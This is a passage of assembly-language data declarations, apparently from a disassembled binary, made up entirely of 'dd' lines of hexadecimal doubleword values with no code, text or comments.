7BB461D3h, 1790E4h, 4859DCA0h dd 96BB7883h, 0B3B61100h, 40B48497h, 0CCFC00BDh, 9AE2D37Bh dd 0C848E49Dh, 8709002Ah, 0C076F9D4h, 745F1F5Eh, 0F7B7C0EBh dd 0E1A2CA36h, 51AB9C00h, 6CB02F5Dh, 40D14821h, 0EAB31001h dd 60439B63h, 0AD30BC1Fh, 81328F0h, 6EF90081h, 0D4348BBEh dd 8F00C845h, 0A4D85A87h, 3A66E5h, 68E6C8Ah, 0E1A672F3h dd 5FFB201h, 0E47D35C4h, 0C25C489Ch, 6B633C8Bh, 624EB8C8h dd 0F4326100h, 3A95403Dh, 0D88000B4h, 26075DDEh, 0C3003E67h dd 18AEE145h, 1E193FBDh, 0E8AD51B2h, 469A1FE4h, 7791C6ACh dd 0BC00F805h, 0ABAAB54Dh, 0C5CC37Bh, 1BFE268Fh, 4E00B170h dd 3B1A6103h, 0A5BA72h, 706F194Ch, 0B6B53F39h, 6D07760Fh dd 0A3EDA00Ch, 0C05A8Bh, 0E8AAD2C6h, 0DF5D869Eh, 0A8FC6004h dd 0B0815677h, 0DAD574EBh, 0CF180DBh, 76A70341h, 0FDDFB89h dd 62244390h, 0BA31C13h, 124DF400h, 67D23DBFh, 0C07721A9h dd 61C52524h, 0AF101900h, 522FACB4h, 0A1C91FBFh, 470F96EAh dd 80F98E64h, 0BA5389B3h, 77A3FE00h, 823195F0h, 8C360AE1h dd 3E84EB78h, 9022CA1Dh, 90CF0294h, 51D528Bh, 5700EB25h dd 46BBA29Eh, 5D3F0079h, 0A36E14ABh, 0D9007A41h, 0E910992Bh dd 1F476A64h, 0CA494C03h, 3D86725h, 98330B0Ah, 5DB89E93h dd 84A1E817h, 0F1C1F8B6h, 0AA404900h, 66044DA5h, 0BF090083h dd 0C9E18EF6h, 2A24B819h, 491E0048h, 0B44EC440h, 0F0C08CE5h dd 0E460234h, 52E76B92h, 2A89B0E8h, 0CED79900h, 0E9A465CBh dd 56782A97h, 8EBD5CA0h, 7C86D900h, 0CCF0B9D0h, 989AB800h dd 3B892166h, 64FA0779h, 300216BFh, 0F019CF22h, 1E831A00h dd 7098019Ah, 0B68600F3h, 0D1EB3044h, 0E21262D3h, 0F00999F5h dd 746D01C5h, 0C0EA07D6h, 0B0DA59F9h, 0D53C0F4Ah, 0A26E6272h dd 0FF4D7D60h, 1800CCC7h, 0AD92A11Dh, 4C9B1954h, 36049082h dd 8116A713h, 576D6404h, 5083B7A4h, 8DC7378h, 0B431752Ah dd 0CE566500h, 427935D9h, 11AE005Eh, 7E4DA4AAh, 0A9005B41h dd 8BFD6432h, 0B0A1C28Fh, 12F898A0h, 20E480E5h, 5F751AACh dd 0E9DE0B01h, 0DF2F8D9Ch, 1E2954C0h, 0A7A88C3Bh, 72135BC0h dd 20C45A01h, 2BB522A9h, 0E797D8h, 0E549CF69h, 0D80C2F6Ah dd 6FDE4500h, 94557B18h, 0D49E00A3h, 704C7E92h, 970398ACh dd 0DFDC1276h, 0B3F2C015h, 6968009Fh, 0F9FDCCD5h, 8801A3A6h dd 2BD20EC3h, 1FD8CE61h, 54F41C2Eh, 0D8AE815Bh, 20B54F82h dd 6EFC9310h, 0BA04567Fh, 596A6712h, 0BB8180C0h, 4F520041h dd 963A9917h, 0F8B51022h, 2CA8025Dh, 1401FD78h, 4850C842h dd 0C7E3CF02h, 60F3DE77h, 2C738FE4h, 83B993h, 955E4CCAh dd 35F530A2h, 41FE03Ch, 0A000107Ah, 270AD5D9h, 988922C3h dd 20FAD0h, 5F969A72h, 0D8612C98h, 0A1E97900h, 995DF5A7h dd 0EAC200C6h, 9F4FCDA2h, 8601F012h, 9D4C83BBh, 36DC6B1Bh dd 0B7F700DFh, 8518948Fh, 303D6EFh, 0C9740B7Dh, 50E8A9C4h dd 97CD9FCh, 15C7BC19h, 72862080h, 3460C0B5h, 7052B240h dd 3AC200BFh, 0C77FE2AEh, 0D7011ACAh, 8429271Eh, 6EC4C1D8h dd 16280203h, 8ACCEF99h, 47EE7860h, 0FBC64607h, 0DE5091B4h dd 49F1BBB8h, 6E17BC68h, 8B4C00AFh, 93702DBCh, 57DFE503h dd 0F165F75Ah, 0B0A8F8B0h, 906A0018h, 0D93FEAA6h, 0F200AEF1h dd 55B4276Bh, 5D562DBh, 8CA79F2Fh, 0FCEC05B6h, 79609043h dd 0ACA0A878h, 2B00290Bh, 7C775270h, 993BF6h, 64D1CF3Ch dd 0B71A8EBDh, 160164Ch, 50A74C08h, 8C3475B3h, 0DCB00C68h dd 0C41169CFh, 744AC500h, 390A6E8Dh, 9E2F685h, 45CE515Bh dd 0C9EB1CA0h, 0D1008784h, 48BBA70Ah, 92189D15h, 47D0000h dd 9CA5096h, 0EE006129h, 0CDFFFD58h, 0F0F804Eh, 86348537h dd 46D4BF20h, 0D30F365Ch, 6048F59Bh, 7DD69E1Bh, 6C75CBh dd 0AE65CC64h, 5A2ACFB7h, 7457B4Ch, 492EA277h, 4F96DF20h dd 0E08E0181h, 0E34EB043h, 0D481E773h, 0C1D0879Ah, 2320D1B9h dd 0CCDABAh, 676A0B3Bh, 5CDB5488h, 0BF292C67h, 8C5D0C40h dd 18A79049h, 0D089A1E2h, 0F4F0C341h, 75E729C0h, 268A62B6h dd 39E409C8h, 875BB58Ch, 36009710h, 0A6305F74h, 0D57ECCh dd 3917FF4Ah, 530EF263h, 12216A0Fh, 0B39206CBh, 0DE8B0060h dd 0CEF5885Ch, 0A801A51Fh, 0E174C425h, 0C43161C8h, 7881B800h dd 4481DDCh, 0CB840087h, 30F371E7h, 4E601016h, 1051CFEh dd 0D0C8C0E2h, 6EC06E97h, 1B5A54Ch, 3614FB4Bh, 0E0F67A0Fh dd 0F000A9D3h, 0E999EBFEh, 0E2DED05Ch, 0A19B001Eh, 0C1AB7768h dd 0B13FBC17h, 485D80FDh, 0BBCF3F45h, 9C7049h, 2EADA823h dd 1A37154Fh, 0FD52E207h, 0DD907BFBh, 26D1D897h, 9E1F29h dd 0A86FECDh, 0AE008E7Fh, 9530CCACh, 5CEEEh, 0D0428345h dd 574FE0F5h, 7C813B2Ch, 39230C00h, 795DD70h, 83566F05h dd 6A803E13h, 674981E3h, 713C9602h, 0C0D52F84h, 0D6C4DCh dd 0C98D98C8h, 31F7A8F6h, 80CD2800h, 0B85729F0h, 90694816h dd 6A3BFD04h, 0E734F086h, 5C771800h, 74A3ABB2h, 53B10ACAh dd 0F89E54h, 0C30ABAE6h, 66030E6Bh, 0CCD21C4Dh, 19348851h dd 0C8655DEFh, 0AE00F222h, 0D2A32E57h, 9E186E11h, 3AE50184h dd 0F4EB68EFh, 12027257h, 0CB10E42Eh, 0A07039h, 0F0F88796h dd 4DB16B11h, 0C34E4828h dd 858E2809h, 7D906015h, 0B95360BFh, 5F03EBE6h, 9A97B302h dd 0E8E89511h, 0BF2494h, 6EE520FFh, 16843D39h, 0A82B0D01h dd 7D1C08E3h, 49901F7h, 0A56A2049h, 3000358Fh, 9700522Fh dd 312155B9h, 0F8DB69h, 2B650A2Dh, 0AE617668h, 11801A16h dd 0D9C800EAh, 0F8BA0D88h, 7ACCE404h, 6C8008D1h, 659DF8Ah dd 0E8A72D7Bh, 0CB0561D0h, 89909A51h, 55E09C40h, 400E11h dd 67DF6A1Ah, 0B9653BABh, 202D6825h, 1CEFE204h, 2149480h dd 63C272D0h, 0AB08F4C0h, 0A7003C70h, 0F4167518h, 48684E66h dd 0A5020790h, 9EF21FE0h, 0FC621061h, 0B600BCC0h, 0B712D7C4h dd 67E752E4h, 32E2B098h, 0C6605C6Ah, 0BA0038B9h, 0DAC53D88h dd 0A02370D9h, 4B76C4h, 64B34AA2h, 8831E4B2h, 8BAFBC00h dd 0EE36D86h, 0C3EB133Ah, 0C1CC0045h, 96B3354Dh, 63401B00h dd 0DE657DECh, 0FDFF002Dh, 0C2553761h, 700B697h, 17CDE830h dd 38014h, 86944C27h, 1EDA29A3h, 1C92ECABh, 8DCBE46Bh dd 362466B0h, 4B567609h, 0AEA080F1h, 0AF17ABh, 0E1B1A613h dd 590DD418h, 841CCB00h, 0C0692462h, 0BE032E71h, 0AE1365h dd 8B36F808h, 230098CCh, 4A69ABC5h, 0D0A2F302h, 5C0C8421h dd 0DA114F89h, 0EC69B000h, 9E9DF5E0h, 0E454009Fh, 86CA59FDh dd 4C007019h, 2322F0DDh, 0E6F94F24h, 9E5E895h, 0D5BEB766h dd 9FE1B8E0h, 0EDAEA300h, 200EA2F6h, 0AC4800BFh, 3E37E616h dd 0AB00B059h, 3290A645h, 2A19201Eh, 0C088A2A5h, 0E778772Ch dd 4B0086F7h, 666246AEh, 0EA8AD021h, 0DB200197h, 30CBC7ACh dd 4E86CC91h, 88AF5E00h, 0E055BA56h, 62ED0046h, 26F8336Ah dd 0CA000478h, 501712C1h, 3CC4EB15h, 0F1964C1Ah, 3870D382h dd 71CD9ED1h, 403240E4h, 62486AA4h, 403AC8C4h, 0AD28EF30h dd 662FBF16h, 4CD7904Eh, 3F780A8h, 22D98B68h, 0AF898FDh dd 8E30C42Fh, 905EDCF0h, 0B4A60365h, 3B7F5A02h, 0F811F901h dd 24DB8D68h, 92B2EC34h, 0EFB10194h, 684C366Eh, 3F4261Ch dd 3AD079F4h, 7C19F88Ah, 990104F1h, 8032BF38h, 495D1324h dd 0FED87700h, 0F7482BA8h, 0A4CE3941h, 86DF6301h, 0F3DEE42Dh dd 0E4787982h, 87199D00h, 0E9B0C5C6h, 7DCE0090h, 3D5EC175h dd 8124D595h, 9C283BF0h, 0B4508D2Ah, 85260938h, 36D9C5D0h dd 9C7632C0h, 30740091h, 0E06A1FB4h, 2400D3B0h, 0B95A8F20h dd 0A01CDBA0h, 553AA3h, 8389037Dh, 72F3FBC3h, 8C2D112Ah dd 75480C07h, 0D0B0E276h, 0B06299F7h, 8598E5h, 5D51E3DAh dd 2C0144CBh, 10953402h, 49DEF287h, 0A1800FA8h, 918ACE3h dd 6E001D0Bh, 5819A905h, 2AF8814Bh, 71A8212Ch, 0CD7578h dd 0A6BC0B82h, 0DD1F4533h, 0F57C5A00h, 52BA02B5h, 803813F7h dd 0BB7C029Bh, 3240F235h, 7309A762h, 8C6C64h, 0E35A9208h dd 0BBBC00F3h, 2BCFC71Ch, 615CC2DDh, 39F278A4h, 0EE747504h dd 2CC01397h, 0BE5D86E8h, 0D64F8010h, 64939FC6h, 2CD9A91Eh dd 796AE980h, 78753D10h, 5B1D0020h, 359232C3h, 6498E666h dd 378F3Eh, 633DECDAh, 1D139D11h, 89C997BCh, 5E81545Ch dd 6C4F88C1h, 0E823EF00h, 764DA301h, 20E05953h, 80D49EBDh dd 24602879h, 0D90C5B89h, 16E2E0FBh, 29CB00F6h, 9E647CA9h dd 0A248EBDh, 1E0BBC40h, 0BF286918h, 93409FCh, 6EF368BCh dd 8E3DD040h, 8260D7FAh, 89B23911h, 6E57260Ah, 211900A4h dd 0E938387h, 459B4A00h, 47623D6h, 810C00DAh, 60D58F92h dd 26013746h, 8AD4D702h, 0B0DFAF39h, 0FC2FEA80h, 4A01005Bh dd 0C6B16622h, 513D14F5h, 0E3671F1Bh, 44C95D43h, 0D750D710h dd 0C408E8h, 2CAF1C47h, 8D03194Fh, 94C64607h, 0EF208E1Dh dd 58996C95h, 4D39B98Ah, 0F01BEB18h, 0D200BE9Ah, 167B572Fh dd 10C962Eh, 6A6D51DCh, 0EC9B3BEDh, 0D1725346h, 0A4087002h dd 0A0653885h, 60EB9DE0h, 163008Dh, 7FD23B12h, 90008EE7h dd 0CE94A246h, 0C0351022h, 9AA33630h, 317C2DF7h, 6690DF03h dd 881346A5h, 2458D784h, 1780260h, 7B3BC65Bh, 5EA8436Bh dd 75D441C7h, 77043607h, 0A32D4301h, 0E2BFA4Eh, 19001438h dd 0E0582A97h, 81E1479h, 471E40C1h, 61E95A00h, 0E12C65Dh dd 0E3E5B5D5h, 0AFFCC0A1h, 0F57BDCCDh, 620B640Eh, 4F15C01Ch dd 423374h, 8512EC0Fh, 530ACF1Bh, 0DFFFDA09h, 9C1C8713h dd 0DAD2BAC3h, 20D8DEh, 5DD0042Bh, 9F1EC6D9h, 0D6BE1D00h dd 0F72120E1h, 69F600B6h, 26258CB1h, 0F10073FAh, 24C58B6Ah dd 1A88A77h, 453EB6E6h, 2CD9084Dh, 0B1A80D8h, 4C69893Ch dd 2F1FFE47h, 0C440C008h, 0CAFA4BCFh, 685C900h, 24440C0Ah dd 9DAB0558h, 0C15530F0h, 2090C810h, 14000FD3h, 995E2C0Ch dd 7640B6D9h, 945400A1h, 62763B17h, 421ED3DBh, 93FC1521h dd 351CAE8Eh, 0ABC7Bh, 6124142Fh, 0E07893E9h, 39A0096Ah dd 54488931h, 9E0FB8ECh, 4362362Dh, 0AA40F8B7h, 61C0401Dh dd 4B9400A8h, 0B8E6B189h, 78B215D3h, 69747659h, 32748079h dd 3CFCB1Fh, 0BB430EF1h, 80BB71ACh, 0BD0D4880h, 0C814C278h dd 0CD31D87h, 117DABBCh, 87F49h, 790174DDh, 0B8762FEEh dd 9196FA0Ch, 13937122h, 5F0714Ah, 9049D2B2h, 1A75CA04h dd 42599000h, 7CF1C692h, 10D6549Bh, 3798171h, 641BF9Dh dd 9E0139E7h, 13108141h, 9C183B7Ch, 0D4992080h, 6C613249h dd 5A0B2977h, 8C7FCA11h, 834805h, 0E6EDF0DEh, 0FA4F328Bh dd 4CF1BF2Bh, 70DF5D10h, 6D9EAE58h, 5C9A1F7Ch, 49D8990Fh dd 21C01F9Dh, 84BF7573h, 0B8040185h, 0A6D22C7Bh, 12D6C83Dh dd 14A02B60h, 58EEF4h, 0F139EC92h, 0F7F6760Fh, 55458007h dd 3156E18Dh, 9FFC0318h, 20622EEDh, 5B3248E0h, 2C3091F2h dd 0F63D2072h, 730941Ah, 0F38B438Dh, 3009736Fh, 3CFBDA9h dd 0AF8E94A9h, 1018DBBEh, 7C436E40h, 6AF083EAh, 4FB143Ch dd 8447C8CAh, 0C9C90512h, 91DC4012h, 21298D6Fh, 0B4443EF6h dd 211367C2h, 9F899CF6h, 5156E130h, 188DE93Bh, 0D14C6801h dd 1B0335CFh, 25192028h, 1241B690h, 0B6A9ED8h, 0DC639A43h dd 354395E0h, 0F89092EEh, 8B278D18h, 2C349A98h, 1A89E47Eh dd 600060EEh, 363E8525h, 185AE600h, 0EEF1074Fh, 0BC728Fh dd 0EB03A10Eh, 2BBFD01Dh, 246CC31Dh, 0C2A34FC0h, 3018E01Ah dd 0FC82550Dh, 60DD4623h, 88D966DBh, 2A93F69Ch, 6847D9Fh dd 86E94ABBh, 75072113h, 9EB15922h, 961A42F0h, 4C08CC09h dd 3A005421h, 4F8A2D59h, 7E01527h, 9255992Ch, 1C90FAD4h dd 1388E8EDh, 0CDB9FF0h, 0B820200Bh, 49802941h, 0AC1BD715h dd 11D64A40h, 8B59F500h, 19FA32F0h, 8E7C811h, 0A621A466h dd 7D01591Fh, 7F3D1D2Ah, 53BD1980h, 0E53974FDh, 5DD14C00h dd 0D943E7B6h, 7AC00032h, 9983F6C8h, 80C02C80h, 0CAC78527h dd 9B80A04Ah, 3167F0A0h, 3D105E91h, 0B9599F7Dh, 0A32BAE8Fh dd 0C095F313h, 2A5FD2h, 3E61E79Eh, 0C8DE52CDh, 0E01BD428h dd 603CB430h, 815332h, 6C53E24h, 5A7C99ECh, 8E3F4600h dd 7AE60F4Ah, 0A26D1C12h, 16070747h, 41925033h, 0ED0E9ADAh dd 0A3E72FB0h, 0E012CE35h, 0E5C320h, 0AD43413Dh, 8CF09F94h dd 0B066CF1Eh, 328EFCC0h, 3C65CCh, 0F6D97E09h, 5F02ACA1h dd 8D82ED03h, 0A8D32F25h, 77BB30E2h, 1F8778E9h, 47E61Ah dd 765EA317h, 0F3073FD9h, 0A1ADC6A5h, 96836187h, 9316C8FBh dd 75DC00C9h, 0C70D800Bh dd 5200708Fh, 0FD9C21C5h, 3015494Bh, 0D938BB71h, 39F49EC8h dd 8BCEB100h, 0F66BDDA8h, 0EEE900D4h, 0F0C05C90h, 2F0FA159h dd 0E035F7CCh, 0E07509Eh, 2762007Eh, 3471729Ch, 0CE030401h dd 9926BC3Fh, 0B28A8D7h, 0A76F07D0h, 315C8F39h, 6077EDB6h dd 3130D6A2h, 0CF680B0h, 84DA50CDh, 64EA00FBh, 9A67085h dd 56347AF2h, 0BC00A9B8h, 9DE94F0Ch, 8468C059h, 28B5C9Bh dd 5F636500h, 834E4344h, 0DF420136h, 726C205Dh, 0C4F4CD7Ah dd 7D3AF882h, 0F6C900CBh, 0BC8AADEEh, 65B3030Fh, 66DB87D2h dd 210E9BA3h, 808A958Bh, 84507BB9h, 0C36B0136h, 657A169Dh dd 0A3CBC0EFh, 89C8FD00h, 87E17486h, 22F41B92h, 702340A0h dd 8AAB01FAh, 18E31292h, 0D38D8823h, 6A7E8F00h, 0C42B6E94h dd 8847004Dh, 0CFD69FE5h, 7C0C0540h, 308025FAh, 9E8203CEh dd 0D8087B9Bh, 0A03E24EBh, 22D10CE0h, 0CC920EAh, 0F443E296h dd 0C5196734h, 0D008C165h, 57A52180h, 0A8F8F343h, 29022A76h dd 74380884h, 0D0288427h, 2CA03066h, 28AE66F1h, 4350B41Fh dd 0E4733100h, 35B3616Fh, 80B1B73Ch, 0A58BBEE9h, 0CB2C1F1Fh dd 5CC2813Ah, 255B7093h, 3BE648C4h, 128AC9A4h, 0B46786h dd 7462891Bh, 34E8BF2Bh, 49170500h, 0FE6C6AF6h, 5F660094h dd 0DB0E4C83h, 54003A92h, 7EDAA4A6h, 3CB34AF0h, 0FE00EC86h dd 3020FB18h, 981F7836h, 0F50141C0h, 46EE720Bh, 126934FCh dd 4D8BF1h, 0D4EAFE44h, 4C00B24Ah, 0B9DEFAA4h, 0E92EB3h dd 28AF0A45h, 1E6359CBh, 0ED237D1Ch, 0F795EA80h, 0E6029410h dd 2AE000F3h, 9B9F8666h, 2538658Ch, 0B00F6D5h, 0DC57568Ah dd 196B30h, 0D6A5BB9h, 0FF8481F6h, 0FA728900h, 8C65919Eh dd 52A0001Bh, 1C027722h, 893A0BC1h, 7F3860FFh, 1A327D0h dd 39A4A011h, 8F722EBDh, 3D257C18h, 7C666033h, 52F10B09h dd 1A8EE8ABh, 0D6784020h, 3E00801Ah, 2F78107h, 352BAAEh dd 0F8F869Eh, 1926F3CEh, 240011DEh, 0BA6791BDh, 18846183h dd 0D44129A6h, 4458496Fh, 33530073h, 61EFAFEh, 9CCE007Dh dd 4A7615B8h, 89C02FD3h, 0E70E2BB1h, 0CBA2008Bh, 977DE6E4h dd 0A5047B95h, 0F8BC241Eh, 79B8E0C0h, 0C10C6125h, 0D35BAE76h dd 0C6A6581Ch, 4D0818B0h, 3DEA1C2Fh, 525D09B0h, 0B9655F80h dd 6C3AFEDDh, 8B8D80F0h, 1FF31E83h, 4E1C00A3h, 8943C680h dd 2200CA0Ch, 0FF7761BEh, 0E090456Dh, 571F0504h, 5DC862h dd 423001AAh, 0A83AC164h, 0E6D3E0Eh, 672769A6h, 8710EB35h dd 716E3F55h, 0F31B0745h, 80D590B8h, 56357853h, 0E6DD0200h dd 0C0C69B8Fh, 0A4B90027h, 0C2534210h, 4B00AFEBh, 0C858328Bh dd 35BD0CDh, 4F10280Eh, 19003DB2h, 0EDE82EDDh, 1DEB0B8Ch dd 5B8446h, 4DCBB815h, 9603F99Eh, 88AD3BB7h, 0D5C80055h dd 78D6678Fh, 0E81E384Ch, 17805A66h, 0C515C0AAh, 3E903828h dd 13C4724h, 7255D404h, 0C868EC61h, 6ED7B903h, 7B32A3B5h dd 0D93B00D8h, 0C9CAD242h, 8873F1B7h, 11BC69C0h, 0B2200Dh dd 1F82B167h, 9FEAAA4Fh, 747BA5Ch, 6F01E325h, 0D03BCCCEh dd 0D6113070h, 0BF3D3158h, 82573Ch, 5387BCC6h, 16F64762h dd 0AB1D2Fh, 0C941EEBDh, 49039064h, 0DD2A2909h, 27BCD04Ch dd 47650597h, 0C04BB901h, 2A8BF001h, 8AC2531h, 0FBEBE0h dd 9ED25410h, 0B8D8E716h, 0C40B111Fh, 908737C1h, 0E5F04EBCh dd 542E0CE8h, 3C2952C6h, 0F3AB1444h, 11F0C311h, 60125A07h dd 89FB9710h, 101A109Fh, 0D9E2B3h, 0B55074D0h, 604BE5EBh dd 0F978AC00h, 1117281Eh, 1ADA00BCh, 52CC51F2h, 0CE1E66A1h dd 7F009B60h, 0C7D26D23h, 3077E8h, 5BCF919h, 0F34EB1E5h dd 0E3F16C60h, 1C03C98Fh, 0C083C32Fh, 38DDF565h, 8DFA2473h dd 9300BDE8h, 0CFD06852h, 0FADFD9h, 1C7EC986h, 19C6362Fh dd 0CB11201h, 2213D224h, 3D3C4FFCh, 920374DCh, 716F5AA7h dd 804C87F7h, 0A8330E9h, 5B3B1601h, 0B1CAC4AFh, 9047183Ah dd 1400DE38h, 9D2403AEh, 0E33311h, 0D006100Ah, 0D66F6945h dd 11CC479h, 0B687D2B1h, 0A0606529h, 76AAAB9h, 739AAD8Ah dd 2A4D30B8h, 0DF8B5C0h, 45004CFCh, 8949B686h, 7C379C7h dd 0EACA6D61h, 0C904C0A1h, 0E0005C14h, 0E2BE52D5h, 312F41h dd 547759B4h, 0CFAFAEC5h, 3745E501h, 112035BBh, 31F9460h dd 0D25B1A66h, 5A10834h, 0EB282161h, 5FC153A0h, 0B007C200h dd 4B260F2Eh, 70AF69Fh, 8F2915BFh, 0F0289785h, 0D904BC54h dd 97EAA900h, 39B553B3h, 0A4EF0ECFh, 4A600A9Eh, 30D89D4Ch dd 0B2406D14h, 376880DCh, 288AE40Eh, 0F0BCEB3Bh, 0F23539FBh dd 3A666400h, 5F77E70Fh, 75864E00h, 0F15E13E3h, 4EB00Eh dd 166DA68Ah, 0B26974D7h, 96EE3300h, 8065F864h, 0DA3500A1h dd 27EA7F21h, 29091C98h, 35BA6BCh, 900C6D6Fh, 0A5971Dh dd 7AB06E9Fh, 3B163BAh, 0D43A7F00h, 3581FEF7h, 0AA921621h dd 0D3CC00EBh, 0F9BA6463h, 26A2891Ch, 0EF009DE4h, 0DC417335h dd 0FB080040h, 0FC75B51Bh, 38008286h, 15DF60C8h, 4F450Bh dd 4718686Fh, 0E93CCA09h, 31B75400h, 0ACE0DD9Bh, 0FF7FA5h dd 0B248A1FCh, 0AF8D41D3h, 0F0CA01Dh, 9EC4DB9Eh, 3891CEB1h dd 50DC0BA4h, 0D4DA0099h, 0EB012856h, 0D7004B5Eh, 0C95440Dh dd 1F9B35h, 16DFFF69h, 0E1AF9A4Fh, 584DEB00h, 0D1614859h dd 40420E35h, 0D580B376h, 0CFD305D4h, 1BAAA807h, 5D604C6Ch dd 2B252Fh, 4BB0B82Ch, 6E69C5C0h, 0C99AF300h, 0ED24F727h dd 5F726Ch, 0F5AAA4CBh, 18A08205h, 23C6F900h, 98DC4DB2h dd 34A30049h, 4F6AA09h, 0F43A81E1h, 0B80580EDh, 26C9DA3Dh dd 7FE66Fh, 41F392F0h, 5FB26B36h, 5CF66DB8h, 0A1063701h dd 0D18B4564h, 0B4F4E4h, 0FC0A88D2h, 1DA8F28Ch, 8E97DE07h dd 75D0F622h, 78548Fh, 0C8538DCBh, 0D51EFE52h, 19884600h dd 3702C26Ch, 0B45A0315h, 39FD5F01h, 13F7ECE8h, 0DFF32007h dd 0DD9090ABh, 50B1C7B8h, 3BCCCh, 17C5D4FEh, 83E45492h dd 0C6749C90h, 7D6D3700h, 0F9E63BE0h, 2A6A03FBh, 39EE7FCBh dd 2C7675C0h, 3D01A700h, 986E6038h, 1955007Dh, 5F124330h dd 570173CBh, 5EEA1347h, 0B1009958h, 88850C02h, 0C4033867h dd 0A8698909h, 24F92C2Eh, 2A879764h, 7A817EE8h, 0A4020222h dd 4CE81ACBh, 0D8C6E480h, 0CC01296Fh, 0B94437E7h, 0AD438334h dd 0E50BA815h, 75A8909Fh, 5AAE00F7h, 4ECB8D76h, 3E69E4Fh dd 3629F101h, 2584577Fh, 0F824BEB9h, 156B0067h, 8A771B35h dd 14002DFAh, 7280881Ah, 3C3EC4A7h, 0F207842Ch, 0F0202642h dd 0E10801DEh, 8569DF0Bh, 0FE4AE0BAh, 0F35501A6h, 0FAA883FFh dd 107C2080h, 666D7700h, 0C35426F0h, 45CD0064h, 89241BB2h dd 7F002DB7h, 0EF23A001h, 0C52E96h, 493CB8C4h, 4863879Fh dd 3E1BCC00h, 0F3B66D67h, 14BB2044h, 9509B708h, 0F468E0A8h dd 720077C2h, 6222838Eh, 0A0F01DC6h, 3EA13CBCh, 2089A207h dd 7C006A0Bh, 11D22C84h, 0AA735409h, 0FACE00F9h, 0FC4A6Eh dd 0FEBECCFh, 2DBBAB50h, 0BAD08A00h, 0DB9A9469h, 61D51EE5h dd 1EEDF55h, 0C8F451FDh, 0CD09E03Fh, 768BD3Fh, 159DD703h dd 189F3CA0h, 76DD00DAh, 0B0C3B78Fh, 3A3F8D0Dh, 0E9FC8304h dd 0F8B53280h, 6177A2h, 974E620h, 0CD174F7Ah, 0B1012CE8h dd 27D1AEE2h, 1CC4C5C3h, 0D5D401A3h, 0E31579FDh, 122C7454h dd 7C5DDF00h, 21E6ED75h dd 0ABAE00F6h, 0E934FBEAh, 0B800F17Fh, 59A7D7FDh, 0F0ECCCh dd 0E5077453h, 991F7D4Ch, 0C93EC707h, 56435ADDh, 8234D018h dd 3FE006Dh, 1D89A238h, 0E70405E0h, 0DED10D39h, 9BA0A787h dd 0E654B6h, 7BA31184h, 2115192Eh, 2866714Ch, 9F00FD9Eh dd 58DC6408h, 1C579075h, 367F0Fh, 44C538A5h, 0D971773Fh dd 3BC96A00h, 9C0402B4h, 25730092h, 0A46EF572h, 1500CECDh dd 0F9B45228h, 3410F1h, 1F60FB7Ah, 7AC772Eh, 303DAD00h dd 7E4F75B4h, 0FE5F07Fh, 0DBEA03BBh, 8D839FE0h, 18C07CEBh dd 0E2A29D4Dh, 3B2007AFh, 3EE4D104h, 161140D8h, 213103Ah dd 6B734776h, 0A4E9E0FDh, 5DE80746h, 707E4B06h, 6CCA0432h dd 66398567h, 0BF602140h, 23C7000Fh, 0D71CDC5Dh, 0FD0E5ADBh dd 0C075E459h, 316DFCB2h, 6E2307F3h, 610AD8A7h, 0D85AE2CEh dd 2948E7C2h, 11C41CA4h, 0FAA47040h, 6048EFB4h, 0F7AE782Ah dd 0B500E4EDh, 0BF3B66A3h, 0C6424Ch, 9274F2FEh, 0B723CB85h dd 62AFE500h, 72B99334h, 0A2801212h, 0F3A40F4Fh, 900489A5h dd 9BD94A98h, 9E2BCA0Ah, 1080BC32h, 2F6A7EF6h, 0FAD80367h dd 0BA2A2C9Bh, 294B05E0h, 0C65EA003h, 0F02735E1h, 1790B08h dd 0C471FF54h, 0C8617B60h, 5F001AB6h, 0CB9392F9h, 75945Ch dd 86768240h, 0EC4E126Eh, 0E8011101h, 1EA16015h, 0EA79D8h dd 694CE396h, 9C944F34h, 68596A0Ah, 7A00307Ch, 663CAC3Eh dd 0C4E0443h, 902809C9h, 143ACA84h, 0FD472E00h, 8C0DA7B6h dd 3E5B062h, 882468E2h, 856C26h, 5799E370h, 0F51E22A1h dd 9C062F15h, 10AA13h, 36E2616Fh, 5C37BE6Ah, 87F32101h dd 5D5F2B14h, 9AA1708Ch, 4900A510h, 0BFD042ADh, 2064E281h dd 0C3B01E41h, 3B2880F0h, 5207081Dh, 0C8BDF428h, 9A952981h dd 21801371h, 0E5C3806Fh, 2A00607Ah, 3C73073Fh, 3392AD56h dd 2B18CDC9h, 0F96968F8h, 650723F2h, 0E3EF7043h, 0E5FF8540h dd 0C0D000E6h, 28594261h, 7DF486DAh, 0CD9E6D07h, 3C475211h dd 6C87B141h, 0A5293EC7h, 1D3046B0h, 7A009D4Fh, 3FA25F78h dd 0FB0D7Ch, 0DE218ECEh, 0EB596DB1h, 0F106900h, 0C8F83CB7h dd 0DB30009Fh, 97EFC22Ah, 0E9052565h, 16E8DA82h, 2FDC7C0h dd 9EF33AE1h, 9B0B1383h, 0BEB8EE92h, 941D9561h, 0B0800CB8h dd 6D875184h, 0E76CDh, 7CC8AABDh, 6743C422h, 7ADED1C3h dd 5BA8E8ACh, 0F26E3D03h, 0A422FC00h, 0E1D5FF2Ch, 4ED87105h dd 0BAC0E2F4h, 1889EAE0h, 106E499Ch, 0FC17EC1Dh, 83A0628Ah dd 67BE0022h, 99E4054Dh, 2C008391h, 0D3E3F2C8h, 1C25E9B3h dd 1EBA15h, 37FB43F9h, 930D3669h, 505E0AE4h, 0B8C5DED0h dd 0EFB20A5Ah, 83A44345h, 7827B5D2h, 0B3682100h, 0C135DF0Fh dd 476F1B55h, 77D8293Ch, 38025F69h, 612E3776h, 420DE0FAh dd 25C6011Fh, 0D2AA5793h, 464AC4CCh, 0B1D70700h, 21D98662h dd 6AF80315h, 4F456623h, 0CF4E8A0h, 81CAE000h, 0BA9B7125h dd 0A030006Bh, 0C44A2C57h, 0DB0074B3h, 446831D2h, 0BD8999h dd 0CBF6495h, 260F8E6Fh, 3304A3Bh, 9849DB6Ah, 0A9292296h dd 15360400h, 4FF35D32h, 0A41600E6h, 2A0384BBh, 11076F50h dd 0B786E90Eh, 4B809E04h, 1310B5C2h, 0C0F3BC15h, 2F0EA9F0h dd 52DA39h, 87B0FC54h, 0E23A55h, 62EB32E3h, 0DDBD8E40h dd 0C31FF3EAh, 795DADEDh, 0B1BE5D40h, 46F874h, 2B00A14h dd 9641532h, 0BF6A6307h, 0F33733D5h, 40170E0h, 0B3A6009Dh dd 0C20772D3h, 4E3B197Ah, 9022A810h, 0D43E8E78h, 0B2359E43h dd 0BB9CB741h, 0CBC09316h, 927B0034h, 